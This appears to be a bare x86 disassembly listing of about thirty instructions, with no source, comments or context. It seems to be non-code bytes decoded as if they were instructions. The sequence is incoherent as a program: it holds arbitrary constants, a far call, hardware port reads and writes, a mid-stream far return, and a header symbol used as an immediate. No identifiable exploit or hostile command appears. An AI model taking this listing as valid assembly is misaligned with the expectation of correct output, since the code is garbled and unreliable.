adc dword [ebp - 0x6d], 0xfffffff1
cmp al, 0xdf
push cs
push cs
mov ebp, dword [eax + ecx + 0x2e]
adc al, 0xf2
push esi
push esi
inc edi
scasb al, byte es:[edi]
jne 0x54ebb6
mov dh, pe_nt_image_headers32
test eax, 0xe36eb6c2
sub al, 0x84
retf
inc edi
pop esi
popal
stosb byte es:[edi], al
scasd eax, dword es:[edi]
cmp dh, byte [ebp + 0x73f1362c]
lcall 0x5273, 0x428a8b92
xor eax, 0x66ea40cf
mov eax, dword [edx - 0x5dbbeedb]
or byte [edi + 0x344bc9e0], al
pushfd
and al, 0x1f
xchg dword [esi], ebp
push cs
in eax, dx
out 0x1c, eax
ret 0x8f11